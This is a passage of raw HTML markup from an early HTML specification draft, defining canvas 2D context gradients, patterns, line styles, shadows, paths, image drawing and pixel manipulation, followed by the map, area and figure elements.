title="">y0</var>) and end   point (<var title="">x1</var>, <var title="">y1</var>) of the gradient, in   coordinate space units, and must return a linear <code><a   href="#canvasgradient0">CanvasGradient</a></code> initialised with that   line.  <p>Linear gradients must be rendered such that at the starting point on the   canvas the color at offset 0 is used, that at the ending point the color   at offset 1 is used, that all points on a line perpendicular to the line   between the start and end points have the color at the point where those   two lines cross (interpolation happening as described above), and that any   points beyond the start or end points are a transparent black.  <p>The <dfn id=createradialgradient title=createRadialGradient><code   title=dom-context-2d-createRadialGradient>createRadialGradient(<var   title="">x0</var>, <var title="">y0</var>, <var title="">r0</var>, <var   title="">x1</var>, <var title="">y1</var>, <var   title="">r1</var>)</code></dfn> method takes six arguments, the first   three representing the start circle with origin (<var title="">x0</var>,   <var title="">y0</var>) and radius <var title="">r0</var>, and the last   three representing the end circle with origin (<var title="">x1</var>,   <var title="">y1</var>) and radius <var title="">r1</var>. The values are   in coordinate space units. The method must return a radial <code><a   href="#canvasgradient0">CanvasGradient</a></code> initialised with those   two circles.  <p>Radial gradients must be rendered such that a cone is created from the   two circles, so that at the circumference of the starting circle the color   at offset 0 is used, that at the circumference around the ending circle   the color at offset 1 is used, that the circumference of a circle drawn a   certain fraction of the way along the line between the two origins with a   radius the same fraction of the way between the two radii has the color at   that offset (interpolation happening as described above), that the end   circle appear to be above the start circle when the end circle is not   completely enclosed by the start circle, and that any points not described   by the gradient are a transparent black.  <p>If a gradient has no stops defined, then the gradient must be treated as   a solid transparent black. Gradients are, naturally, only painted where   the stroking or filling effect requires that they be drawn.  <p>Support for actually painting gradients is optional. Instead of painting   the gradients, user agents may instead just paint the first stop's color.   However, <code   title=dom-context-2d-createLinearGradient>createLinearGradient()</code>   and <code   title=dom-context-2d-createRadialGradient>createRadialGradient()</code>   must always return objects when passed valid arguments.  <p>Patterns are represented by objects implementing the opaque <dfn   id=canvaspattern0><code>CanvasPattern</code></dfn> interface.  <p>To create objects of this type, the <dfn id=createpatternimage   title=createPattern><code   title=dom-context-2d-createPattern>createPattern(image,   repetition)</code></dfn> method is used. The first argument gives the   image to use as the pattern (either an <code><a   href="#htmlimageelement">HTMLImageElement</a></code> or an <code><a   href="#htmlcanvaselement">HTMLCanvasElement</a></code>). Modifying this   image after calling the <code   title=dom-context-2d-createPattern>createPattern()</code> method must not   affect the pattern. The second argument must be a string with one of the   following values: <code title="">repeat</code>, <code   title="">repeat-x</code>, <code title="">repeat-y</code>, <code   title="">no-repeat</code>. If the empty string or null is specified, <code   title="">repeat</code> must be assumed. If an unrecognised value is given,   then the user agent must raise a <code>SYNTAX_ERR</code> exception. User   agents must recognise the four values described above exactly (e.g. they   must not do case folding). The method must return a <code><a   href="#canvaspattern0">CanvasPattern</a></code> object suitably   initialised.  <p>The <var title="">image</var> argument must be an instance of an   <code><a href="#htmlimageelement">HTMLImageElement</a></code> or <code><a   href="#htmlcanvaselement">HTMLCanvasElement</a></code>. If the <var   title="">image</var> is of the wrong type, the implementation must raise a   <code>TYPE_MISMATCH_ERR</code> exception.  <p>Patterns must be painted so that the top left of the first image is   anchored at the origin of the coordinate space, and images are then   repeated horizontally to the left and right (if the <code>repeat-x</code>   string was specified) or vertically up and down (if the   <code>repeat-y</code> string was specified) or in all four directions all   over the canvas (if the <code>repeat</code> string was specified). The   images are not be scaled by this process; one CSS pixel of the image must   be painted on one coordinate space unit. Of course, patterns must only   actually painted where the stroking or filling effect requires that they   be drawn, and are affected by the current transformation matrix.  <p>Support for patterns is optional. If the user agent doesn't support   patterns, then <code   title=dom-context-2d-createPattern>createPattern()</code> must return   null.  <h6 id=line-styles><span class=secno>3.14.6.1.5. </span>Line styles</h6>  <p>The <dfn id=linewidth   title=dom-context-2d-lineWidth><code>lineWidth</code></dfn> attribute   gives the default width of lines, in coordinate space units. On setting,   zero and negative values must be ignored, leaving the value unchanged.  <p>When the context is created, the <code title=dom-context-2d-lineWidth><a   href="#linewidth">lineWidth</a></code> attribute must initially have the   value <code>1.0</code>.  <p>The <dfn id=linecap   title=dom-context-2d-lineCap><code>lineCap</code></dfn> attribute defines   the type of endings that UAs shall place on the end of lines. The three   valid values are <code>butt</code>, <code>round</code>, and   <code>square</code>. The <code>butt</code> value means that the end of   each line is a flat edge perpendicular to the direction of the line. The   <code>round</code> value means that a semi-circle with the diameter equal   to the width of the line is then added on to the end of the line. The   <code>square</code> value means that at the end of each line is a   rectangle with the length of the line width and the width of half the line   width, placed flat against the edge perpendicular to the direction of the   line. On setting, any other value than the literal strings   <code>butt</code>, <code>round</code>, and <code>square</code> must be   ignored, leaving the value unchanged.  <p>When the context is created, the <code title=dom-context-2d-lineCap><a   href="#linecap">lineCap</a></code> attribute must initially have the value   <code>butt</code>.  <p>The <dfn id=linejoin   title=dom-context-2d-lineJoin><code>lineJoin</code></dfn> attribute   defines the type of corners that that UAs will place where two lines meet.   The three valid values are <code>round</code>, <code>bevel</code>, and   <code>miter</code>.  <p>On setting, any other value than the literal strings <code>round</code>,   <code>bevel</code> and <code>miter</code> must be ignored, leaving the   value unchanged.  <p>When the context is created, the <code title=dom-context-2d-lineJoin><a   href="#linejoin">lineJoin</a></code> attribute must initially have the   value <code>miter</code>.  <p>The <code>round</code> value means that a filled arc connecting the   corners on the outside of the join, with the diameter equal to the line   width, and the origin at the point where the inside edges of the lines   touch, must be rendered at joins. The <code>bevel</code> value means that   a filled triangle connecting those two corners with a straight line, the   third point of the triangle being the point where the lines touch on the   inside of the join, must be rendered at joins. The <code>miter</code>   value means that a filled four- or five-sided polygon must be placed at   the join, with two of the lines being the perpendicular edges of the   joining lines, and the other two being continuations of the outside edges   of the two joining lines, as long as required to intersect without going   over the miter limit.  <p>The miter length is the distance from the point where the lines touch on   the inside of the join to the intersection of the line edges on the   outside of the join. The miter limit ratio is the maximum allowed ratio of   the miter length to the line width. If the miter limit would be exceeded,   then a fifth line must be added to the polygon, connecting the two outside   lines, such that the distance from the inside point of the join to the   point in the middle of this fifth line is the maximum allowed value for   the miter length.  <p>The miter limit ratio can be explicitly set using the <dfn id=miterlimit   title=dom-context-2d-miterLimit><code>miterLimit</code></dfn> attribute.   On setting, zero and negative values must be ignored, leaving the value   unchanged.  <p>When the context is created, the <code   title=dom-context-2d-miterLimit><a   href="#miterlimit">miterLimit</a></code> attribute must initially have the   value <code>10.0</code>.</p>  <!-- XXX this section doesn't say what these attributes return or  what they do on setting. not a big deal; it's pretty obvious. but if  anyone complains, we'll have to add it -->  <h6 id=shadows><span class=secno>3.14.6.1.6. </span><dfn   id=shadows1>Shadows</dfn></h6>  <p>All drawing operations are affected by the four global shadow   attributes. Shadows form part of the source image during composition.  <p>The <dfn id=shadowcolor   title=dom-context-2d-shadowColor><code>shadowColor</code></dfn> attribute   sets the color of the shadow.</p>  <!-- XXX this section doesn't say what this attributes returns or  what they do on setting. if anyone complains, we'll have to add  it. shadowColor is a CSS Color attribute. -->  <p>When the context is created, the <code   title=dom-context-2d-shadowColor><a   href="#shadowcolor">shadowColor</a></code> attribute initially must be   fully-transparent black.  <p>The <dfn id=shadowoffsetx   title=dom-context-2d-shadowOffsetX><code>shadowOffsetX</code></dfn> and   <dfn id=shadowoffsety   title=dom-context-2d-shadowOffsetY><code>shadowOffsetY</code></dfn>   attributes specify the distance that the shadow will be offset in the   positive horizontal and positive vertical distance respectively. Their   values are in coordinate space units.</p>  <!-- XXX we don't define getting/setting -->  <p>When the context is created, the shadow offset attributes initially have   the value <code>0</code>.  <p>The <dfn id=shadowblur   title=dom-context-2d-shadowBlur><code>shadowBlur</code></dfn> attribute   specifies the number of coordinate space units that the blurring is to   cover. On setting, negative numbers must be ignored, leaving the attribute   unmodified.</p>  <!-- XXX we don't define getting/setting -->  <p>When the context is created, the <code   title=dom-context-2d-shadowBlur><a   href="#shadowblur">shadowBlur</a></code> attribute must initially have the   value <code>0</code>.  <p>Support for shadows is optional. When they are supported, then, when   shadows are drawn, they must be rendered using the specified color,   offset, and blur radius.</p>  <!-- XXX we don't really define what that means -->  <h6 id=simple><span class=secno>3.14.6.1.7. </span>Simple shapes   (rectangles)</h6>  <p>There are three methods that immediately draw rectangles to the bitmap.   They each take four arguments; the first two give the <var   title="">x</var> and <var title="">y</var> coordinates of the top left of   the rectangle, and the second two give the width and height of the   rectangle, respectively.  <p>Shapes are painted without affecting the current path, and are subject   to <span title=dom-context-2d->transformations</span>, <a href="#shadows1"   title=shadows>shadow effects</a>, <span title=globalAlpha>global   alpha</span>, <a href="#clipping" title="clipping path">clipping   paths</a>, and <span title=globalCompositeOperation>global composition   operators</span>.  <p>Negative values for width and height must cause the implementation to   raise an <code>INDEX_SIZE_ERR</code> exception.  <p>The <dfn id=clearrect   title=dom-context-2d-clearRect><code>clearRect()</code></dfn> method must   clear the pixels in the specified rectangle to a fully transparent black,   erasing any previous image. If either height or width are zero, this   method has no effect.  <p>The <dfn id=fillrect   title=dom-context-2d-fillRect><code>fillRect()</code></dfn> method must   paint the specified rectangular area using the <code   title=dom-context-2d-fillStyle><a href="#fillstyle">fillStyle</a></code>.   If either height or width are zero, this method has no effect.  <p>The <dfn id=strokerect   title=dom-context-2d-strokeRect><code>strokeRect()</code></dfn> method   must draw a rectangular outline of the specified size using the <code   title=dom-context-2d-strokeStyle><a   href="#strokestyle">strokeStyle</a></code>, <code   title=dom-context-2d-lineWidth><a href="#linewidth">lineWidth</a></code>,   <code title=dom-context-2d-lineJoin><a   href="#linejoin">lineJoin</a></code>, and (if appropriate) <code   title=dom-context-2d-miterLimit><a   href="#miterlimit">miterLimit</a></code> attributes. <span   title=issue>What should happen with zero heights or widths?</span>  <h6 id=complex><span class=secno>3.14.6.1.8. </span>Complex shapes (paths)</h6>  <p>The context always has a current path. There is only one current path,   it is not part of the <span title=dom-context-2d->drawing state</span>.  <p>A <dfn id=path>path</dfn> has a list of zero or more subpaths. Each   subpath consists of a list of one or more points, connected by straight or   curved lines, and a flag indicating whether the subpath is closed or not.   A closed subpath is one where the last point of the subpath is connected   to the first point of the subpath by a straight line. Subpaths with fewer   than two points are ignored when painting the path.  <p>Initially, the context's path must have zero subpaths.  <p>The <dfn id=beginpath   title=dom-context-2d-beginPath><code>beginPath()</code></dfn> method must   empty the list of subpaths so that the context once again has zero   subpaths.  <p>The <dfn id=moveto title=dom-context-2d-moveTo><code>moveTo(<var   title="">x</var>, <var title="">y</var>)</code></dfn> method must create a   new subpath with the specified point as its first (and only) point.  <p>The <dfn id=closepath   title=dom-context-2d-closePath><code>closePath()</code></dfn> method must   do nothing if the context has no subpaths. Otherwise, it must mark the   last subpath as closed, create a new subpath whose first point is the same   as the previous subpath's first point, and finally add this new subpath to   the path. (If the last subpath had more than one point in its list of   points, then this is equivalent to adding a straight line connecting the   last point back to the first point, thus "closing" the shape, and then   repeating the last <code title=dom-context-2d-moveTo><a   href="#moveto">moveTo()</a></code> call.)  <p>New points and the lines connecting them are added to subpaths using the   methods described below. In all cases, the methods only modify the last   subpath in the context's paths.  <p>The <dfn id=lineto title=dom-context-2d-lineTo><code>lineTo(<var   title="">x</var>, <var title="">y</var>)</code></dfn> method must do   nothing if the context has no subpaths. Otherwise, it must connect the   last point in the subpath to the given point (<var title="">x</var>, <var   title="">y</var>) using a straight line, and must then add the given point   (<var title="">x</var>, <var title="">y</var>) to the subpath.  <p>The <dfn id=quadraticcurveto   title=dom-context-2d-quadraticCurveTo><code>quadraticCurveTo(<var   title="">cpx</var>, <var title="">cpy</var>, <var title="">x</var>, <var   title="">y</var>)</code></dfn> method must do nothing if the context has   no subpaths. Otherwise it must connect the last point in the subpath to   the given point (<var title="">x</var>, <var title="">y</var>) by a   quadratic curve with control point (<var title="">cpx</var>, <var   title="">cpy</var>), and must then add the given point (<var   title="">x</var>, <var title="">y</var>) to the subpath.  <p>The <dfn id=beziercurveto   title=dom-context-2d-bezierCurveTo><code>bezierCurveTo(<var   title="">cp1x</var>, <var title="">cp1y</var>, <var title="">cp2x</var>,   <var title="">cp2y</var>, <var title="">x</var>, <var   title="">y</var>)</code></dfn> method must do nothing if the context has   no subpaths. Otherwise, it must connect the last point in the subpath to   the given point (<var title="">x</var>, <var title="">y</var>) using a   bezier curve with control points (<var title="">cp1x</var>, <var   title="">cp1y</var>) and (<var title="">cp2x</var>, <var   title="">cp2y</var>). Then, it must add the point (<var title="">x</var>,   <var title="">y</var>) to the subpath.  <p>The <dfn id=arcto title=dom-context-2d-arcTo><code>arcTo(<var   title="">x1</var>, <var title="">y1</var>, <var title="">x2</var>, <var   title="">y2</var>, <var title="">radius</var>)</code></dfn> method must do   nothing if the context has no subpaths. If the context <em>does</em> have   a subpath, then the behaviour depends on the arguments and the last point   in the subpath.  <p>Let the point (<var title="">x0</var>, <var title="">y0</var>) be the   last point in the subpath. Let <var title="">The Arc</var> be the shortest   arc given by circumference of the circle that has one point tangent to the   line defined by the points (<var title="">x0</var>, <var   title="">y0</var>) and (<var title="">x1</var>, <var title="">y1</var>),   another point tangent to the line defined by the points (<var   title="">x1</var>, <var title="">y1</var>) and (<var title="">x2</var>,   <var title="">y2</var>), and that has radius <var title="">radius</var>.   The points at which this circle touches these two lines are called the   start and end tangent points respectively.  <p>If the point (<var title="">x2</var>, <var title="">y2</var>) is on the   line defined by the points (<var title="">x0</var>, <var   title="">y0</var>) and (<var title="">x1</var>, <var title="">y1</var>)   then the method must do nothing, as no arc would satisfy the above   constraints.  <p>Otherwise, the method must connect the point (<var title="">x0</var>,   <var title="">y0</var>) to the start tangent point by a straight line,   then connect the start tangent point to the end tangent point by <var   title="">The Arc</var>, and finally add the start and end tangent points   to the subpath.  <p>Negative or zero values for <var title="">radius</var> must cause the   implementation to raise an <code>INDEX_SIZE_ERR</code> exception.  <p>The <dfn id=arcx- title=dom-context-2d-arc><code>arc(<var   title="">x</var>, <var title="">y</var>, <var title="">radius</var>, <var   title="">startAngle</var>, <var title="">endAngle</var>, <var   title="">anticlockwise</var>)</code></dfn> method draws an arc. If the   context has any subpaths, then the method must add a straight line from   the last point in the subpath to the start point of the arc. In any case,   it must draw the arc between the start point of the arc and the end point   of the arc, and add the start and end points of the arc to the subpath.   The arc and its start and end points are defined as follows:  <p>Consider a circle that has its origin at (<var title="">x</var>, <var   title="">y</var>) and that has radius <var title="">radius</var>. The   points at <var title="">startAngle</var> and <var title="">endAngle</var>   along the circle's circumference, measured in radians clockwise from the   positive x-axis, are the start and end points respectively. The arc is the   path along the circumference of this circle from the start point to the   end point, going anti-clockwise if the <var title="">anticlockwise</var>   argument is true, and clockwise otherwise.  <p>Negative or zero values for <var title="">radius</var> must cause the   implementation to raise an <code>INDEX_SIZE_ERR</code> exception.  <p>The <dfn id=rectx title=dom-context-2d-rect><code>rect(<var   title="">x</var>, <var title="">y</var>, <var title="">w</var>, <var   title="">h</var>)</code></dfn> method must create a new subpath containing   just the four points (<var title="">x</var>, <var title="">y</var>), (<var   title="">x</var>+<var title="">w</var>, <var title="">y</var>), (<var   title="">x</var>+<var title="">w</var>, <var title="">y</var>+<var   title="">h</var>), (<var title="">x</var>, <var title="">y</var>+<var   title="">h</var>), with those four points connected by straight lines, and   must then mark the subpath as closed. It must then create a new subpath   with the point (<var title="">x</var>, <var title="">y</var>) as the only   point in the subpath.  <p>Negative values for <var title="">w</var> and <var title="">h</var> must   cause the implementation to raise an <code>INDEX_SIZE_ERR</code>   exception.  <p>The <dfn id=fill title=dom-context-2d-fill><code>fill()</code></dfn>   method must fill each subpath of the current path in turn, using <code   title=dom-context-2d-fillStyle><a href="#fillstyle">fillStyle</a></code>,   and using the non-zero winding number rule. Open subpaths must be   implicitly closed when being filled (without affecting the actual   subpaths).  <p>The <dfn id=stroke   title=dom-context-2d-stroke><code>stroke()</code></dfn> method must stroke   each subpath of the current path in turn, using the <code   title=dom-context-2d-strokeStyle><a   href="#strokestyle">strokeStyle</a></code>, <code   title=dom-context-2d-lineWidth><a href="#linewidth">lineWidth</a></code>,   <code title=dom-context-2d-lineJoin><a   href="#linejoin">lineJoin</a></code>, and (if appropriate) <code   title=dom-context-2d-miterLimit><a   href="#miterlimit">miterLimit</a></code> attributes.  <p>Paths, when filled or stroked, must be painted without affecting the   current path, and must be subject to <a   href="#transformations1">transformations</a>, <a href="#shadows1"   title=shadows>shadow effects</a>, <a href="#globalalpha"   title=dom-context-2d-globalAlpha>global alpha</a>, <a href="#clipping"   title="clipping path">clipping paths</a>, and <a   href="#globalcompositeoperation"   title=dom-context-2d-globalCompositeOperation>global composition   operators</a>.  <p class=note>The transformation is applied to the path when it is drawn,   not when the path is constructed. Thus, a single path can be constructed   and then drawn according to different transformations without recreating   the path.  <p>The <dfn id=clip title=dom-context-2d-clip><code>clip()</code></dfn>   method must create a new <dfn id=clipping>clipping path</dfn> by   calculating the intersection of the current clipping path and the area   described by the current path (after applying the <span>current   transformation</span>), using the non-zero winding number rule. Open   subpaths must be implicitly closed when computing the clipping path,   without affecting the actual subpaths.  <p>When the context is created, the initial clipping path is the rectangle   with the top left corner at (0,0) and the width and height of the   coordinate space.  <p>The <dfn id=ispointinpath   title=dom-context-2d-isPointInPath><code>isPointInPath(<var   title="">x</var>, <var title="">y</var>)</code></dfn> method must return   true if the point given by the <var title="">x</var> and <var   title="">y</var> coordinates passed to the method, when treated as   coordinates in the canvas' coordinate space unaffected by the current   transformation, is within the area of the canvas that is inside the   current path; and must return false otherwise.  <h6 id=images><span class=secno>3.14.6.1.9. </span>Images</h6>  <p>To draw images onto the canvas, the <dfn id=drawimage   title=dom-context-2d-drawImage><code>drawImage</code></dfn> method can be   used.  <p>This method is overloaded with three variants: <code   title="">drawImage(<var title="">image</var>, <var title="">dx</var>, <var   title="">dy</var>)</code>, <code title="">drawImage(<var   title="">image</var>, <var title="">dx</var>, <var title="">dy</var>, <var   title="">dw</var>, <var title="">dh</var>)</code>, and <code   title="">drawImage(<var title="">image</var>, <var title="">sx</var>, <var   title="">sy</var>, <var title="">sw</var>, <var title="">sh</var>, <var   title="">dx</var>, <var title="">dy</var>, <var title="">dw</var>, <var   title="">dh</var>)</code>. (Actually it is overloaded with six; each of   those three can take either an <code><a   href="#htmlimageelement">HTMLImageElement</a></code> or an <code><a   href="#htmlcanvaselement">HTMLCanvasElement</a></code> for the <var   title="">image</var> argument.) If not specified, the <var   title="">dw</var> and <var title="">dh</var> arguments default to the   values of <var title="">sw</var> and <var title="">sh</var>, interpreted   such that one CSS pixel in the image is treated as one unit in the canvas   coordinate space. If the <var title="">sx</var>, <var title="">sy</var>,   <var title="">sw</var>, and <var title="">sh</var> arguments are omitted,   they default to 0, 0, the image's intrinsic width in image pixels, and the   image's intrinsic height in image pixels, respectively.  <p>The <var title="">image</var> argument must be an instance of an   <code><a href="#htmlimageelement">HTMLImageElement</a></code> or <code><a   href="#htmlcanvaselement">HTMLCanvasElement</a></code>. If the <var   title="">image</var> is of the wrong type, the implementation must raise a   <code>TYPE_MISMATCH_ERR</code> exception. If one of the <var   title="">sy</var>, <var title="">sw</var>, <var title="">sw</var>, and   <var title="">sh</var> arguments is outside the size of the image, or if   one of the <var title="">dw</var> and <var title="">dh</var> arguments is   negative, the implementation must raise an <code>INDEX_SIZE_ERR</code>   exception.  <p>When <code title=dom-context-2d-drawImage><a   href="#drawimage">drawImage()</a></code> is invoked, the specified region   of the image specified by the source rectangle (<var title="">sx</var>,   <var title="">sy</var>, <var title="">sw</var>, <var title="">sh</var>)   must be painted on the region of the canvas specified by the destination   rectangle (<var title="">dx</var>, <var title="">dy</var>, <var   title="">dw</var>, <var title="">dh</var>).  <p><img alt="" src=drawImage.png></p>  <!-- no alt="" text since  the image is just repeating what was stated in the previous  paragraph. -->  <p>Images are painted without affecting the current path, and are subject   to <a href="#transformations1">transformations</a>, <a href="#shadows1"   title=shadows>shadow effects</a>, <a href="#globalalpha"   title=dom-context-2d-globalAlpha>global alpha</a>, <a href="#clipping"   title="clipping path">clipping paths</a>, and <a   href="#globalcompositeoperation"   title=dom-context-2d-globalCompositeOperation>global composition   operators</a>.</p>  <!-- XXX should somehow say that the image used is the actual image  of the target element, not the rendered image (e.g. height/width  attributes don't affect it -->  <h6 id=pixel><span class=secno>3.14.6.1.10. </span><dfn id=pixel1>Pixel   manipulation</dfn></h6>  <p>The <dfn id=getimagedata   title=dom-context-2d-getImageData><code>getImageData(<var   title="">sx</var>, <var title="">sy</var>, <var title="">sw</var>, <var   title="">sh</var>)</code></dfn> method must return an <code><a   href="#imagedata">ImageData</a></code> object representing the underlying   pixel data for the area of the canvas denoted by the rectangle which has   one corner at the (<var title="">sx</var>, <var title="">sy</var>)   coordinate, and that has width <var title="">sw</var> and height <var   title="">sh</var>. Pixels outside the canvas must be returned as   transparent black.  <p><code><a href="#imagedata">ImageData</a></code> objects must be   initialised so that their <dfn id=height5   title=dom-imagedata-height><code>height</code></dfn> attribute is set to   <var title="">h</var>, the number of rows in the image data, their <dfn   id=width5 title=dom-imagedata-width><code>width</code></dfn> attribute is   set to <var title="">w</var>, the number of physical device pixels per row   in the image data, and the <dfn id=data1   title=dom-imagedata-data><code>data</code></dfn> attribute is initialised   to an array of <var title="">h</var>AMPERSANDtimes;<var title="">w</var>AMPERSANDtimes;4   integers. The pixels must be represented in this array in left-to-right   order, row by row, starting at the top left, with each pixel's red, green,   blue, and alpha components being given in that order. Each component of   each device pixel represented in this array must be in the range 0..255,   representing the 8 bit value for that component.  <p>The <dfn id=putimagedata   title=dom-context-2d-putImageData><code>putImageData(<var   title="">image</var>, <var title="">dx</var>, <var   title="">dy</var>)</code></dfn> method must take the given <code><a   href="#imagedata">ImageData</a></code> structure, and draw it at the   specified location <var title="">dx</var>,<var title="">dy</var> in the   canvas coordinate space, mapping each pixel represented by the <code><a   href="#imagedata">ImageData</a></code> structure into one device pixel.  <p>The handling of pixel rounding when the specified coordinates do not   exactly map to the device coordinate space is not defined by this   specification, except that the following must result in no visible changes   to the rendering:  <pre>context.putImageData(context.getImageData(x, y, w, h), x, y);</pre>  <p>...for any value of <var title="">x</var> and <var title="">y</var>. In   other words, while user agents may round the arguments of the two methods   so that they map to device pixel boundaries, any rounding performed must   be performed consistently for both the <code   title=dom-context-2d-getImageData><a   href="#getimagedata">getImageData()</a></code> and <code   title=dom-context-2d-putImageData><a   href="#putimagedata">putImageData()</a></code> operations.  <p>The current transformation matrix must not affect the <code   title=dom-context-2d-getImageData><a   href="#getimagedata">getImageData()</a></code> and <code   title=dom-context-2d-putImageData><a   href="#putimagedata">putImageData()</a></code> methods.  <h6 id=drawing><span class=secno>3.14.6.1.11. </span>Drawing model</h6>  <p>When a shape or image is painted, user agents must follow these steps,   in the order given (or act as if they do):  <ol>   <li>The coordinates are transformed by the current transformation matrix.   <li>The shape or image is rendered, creating image <var title="">A</var>,    as described in the previous sections. For shapes, the current fill,    stroke, and line styles must be honoured.   <li>The shadow is rendered from image <var title="">A</var>, using the    current shadow styles, creating image <var title="">B</var>.   <li>Image <var title="">A</var> is composited over image <var    title="">B</var> creating the source image.   <li>The source image has its alpha adjusted by <code    title=dom-context-2d-globalAlpha><a    href="#globalalpha">globalAlpha</a></code>.   <li>Within the clip region (as affected by the current transformation    matrix), the source image is composited over the current canvas bitmap    using the current composition operator.  </ol>  <!--  <h4 id="3d">The 3D context</h4>  <p class="big-issue">Well, one day.</p>-->  <h4 id=the-map><span class=secno>3.14.7. </span>The <dfn   id=map0><code>map</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dt>Content model:   <dd>Zero or more <a href="#block-level1">block-level elements</a>.   <dt>Element-specific attributes:   <dd><code title=attr-map-name><a href="#name3">name</a></code> (required)   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmlmapelement>HTMLMapElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute DOMString <a href="#name4" title=dom-map-name>name</a>;  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#areas" title=dom-map-areas>areas</a>;};</pre>  </dl>  <p>The <code><a href="#map0">map</a></code> element, in conjuction with any   <code><a href="#area0">area</a></code> element descendants, defines an <a   href="#image">image map</a>.  <p>The <dfn id=name3 title=attr-map-name><code>name</code></dfn> attribute   gives the name of the image map, so that it can be referenced using the   <code title=attr-hyperlink-usemap><a href="#usemap1">usemap</a></code>   attribute of <code><a href="#img0">img</a></code> and <code><a   href="#object0">object</a></code> elements.  <p>The <code title=attr-map-name><a href="#name3">name</a></code> attribute   must be present. Its value must be a non-empty string. The value of the   <code title=attr-map-name><a href="#name3">name</a></code> attribute must   be unique, such that no two <code><a href="#map0">map</a></code> elements   in a common subtree have the same value.  <p>The <dfn id=name4 title=dom-map-name><code>name</code></dfn> DOM   attribute must <a href="#reflect">reflect</a> the content attribute of the   same name.  <p>The <dfn id=areas title=dom-map-areas><code>areas</code></dfn> attribute   must return an <code><a href="#htmlcollection0">HTMLCollection</a></code>   rooted at the <code><a href="#map0">map</a></code> element, whose filter   matches only <code><a href="#area0">area</a></code> elements.  <h4 id=the-area><span class=secno>3.14.8. </span>The <dfn   id=area0><code>area</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.</p>  <!-- XXX as defined, the area element on its own isn't enough to  satisfy "significant inline-level content" model. should it be? -->  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed, but only as a descendant of a <code><a    href="#map0">map</a></code> element.   <dt>Content model:   <dd>Empty.   <dt>Element-specific attributes:   <dd><code title=attr-area-alt><a href="#alt1">alt</a></code> (required)   <dd><code title=attr-area-coords><a href="#coords0">coords</a></code>   <dd><code title=attr-area-shape><a href="#shape0">shape</a></code>   <dd><code title=attr-hyperlink-href><a href="#href5">href</a></code>   <dd><code title=attr-hyperlink-rel><a href="#rel3">rel</a></code>   <dd><code title=attr-hyperlink-media><a href="#media5">media</a></code>   <dd><code title=attr-hyperlink-hreflang><a    href="#hreflang3">hreflang</a></code>   <dd><code title=attr-hyperlink-type><a href="#type14">type</a></code>   <dd><code title=attr-hyperlink-ping><a href="#ping">ping</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmlareaelement>HTMLAreaElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute DOMString <a href="#alt2" title=dom-area-alt>alt</a>;           attribute DOMString <a href="#coords" title=dom-area-coords>coords</a>;           attribute DOMString <a href="#shape" title=dom-area-shape>shape</a>;           attribute DOMString <a href="#href4" title=dom-area-href>href</a>;           attribute DOMString <a href="#rel2" title=dom-area-rel>rel</a>;           attribute DOMString <a href="#media4" title=dom-area-media>media</a>;           attribute DOMString <a href="#hreflang2" title=dom-area-hreflang>hreflang</a>;           attribute DOMString <a href="#type8" title=dom-area-type>type</a>;           attribute DOMString <a href="#ping1" title=dom-area-ping>ping</a>;};</pre>  </dl>  <p>The <code><a href="#area0">area</a></code> elements represents some text   with corresponding to an area on an <a href="#image">image map</a>. The   <dfn id=alt1 title=attr-area-alt><code>alt</code></dfn> attribute, which   must be present, specifies the text, and the <code   title=attr-area-coords><a href="#coords0">coords</a></code> and <code   title=attr-area-shape><a href="#shape0">shape</a></code> attributes   specify the area.  <p>If the <code><a href="#area0">area</a></code> element has an <code   title=attr-hyperlink-href><a href="#href5">href</a></code> attribute, then   it represents a <a href="#hyperlinks">hyperlink</a>.  <p>If the <code><a href="#area0">area</a></code> element has no <code   title=attr-hyperlink-href><a href="#href5">href</a></code> attribute, then   the area represented by the element cannot be selected.  <p>Interactive user agents should allow users to <a href="#following1"   title="following hyperlinks">follow hyperlinks</a> created for <a   href="#valid5" title="valid area">valid areas</a> using the <code><a   href="#area0">area</a></code> element. The <code   title=attr-hyperlink-href><a href="#href5">href</a></code> and <code   title=attr-hyperlink-ping><a href="#ping">ping</a></code> attributes   decide how the link is followed. The <code title=attr-hyperlink-rel><a   href="#rel3">rel</a></code>, <code title=attr-hyperlink-media><a   href="#media5">media</a></code>, <code title=attr-hyperlink-hreflang><a   href="#hreflang3">hreflang</a></code>, and <code   title=attr-hyperlink-type><a href="#type14">type</a></code> attributes may   be used to indicate to the user the likely nature of the target resource   before the user follows the link.  <p>The DOM attributes <dfn id=alt2   title=dom-area-alt><code>alt</code></dfn>, <dfn id=coords   title=dom-area-coords><code>coords</code></dfn>, <dfn id=shape   title=dom-area-shape><code>shape</code></dfn>, <dfn id=href4   title=dom-area-href><code>href</code></dfn>, <dfn id=rel2   title=dom-area-rel><code>rel</code></dfn>, <dfn id=media4   title=dom-area-media><code>media</code></dfn>, <dfn id=hreflang2   title=dom-area-hreflang><code>hreflang</code></dfn>, <dfn id=type8   title=dom-area-type><code>type</code></dfn>, and <dfn id=ping1   title=dom-area-ping><code>ping</code></dfn> each must <a   href="#reflect">reflect</a> the respective content attributes of the same   name.  <h4 id=the-figure><span class=secno>3.14.9. </span>The <dfn   id=figure0><code>figure</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dt>Content model:   <dd>In any order, exactly one <code><a href="#legend0">legend</a></code>    element, and exactly one <a href="#embedded0">embedded content</a>    element.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd><code title=class-issue><a href="#issue0">example</a></code>, <code    title=class-warning><a href="#warning0">warning</a></code>   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#figure0">figure</a></code> element represents a <a   href="#paragraph">paragraph</a> consisting of embedded content and a   caption.  <p>The first <a 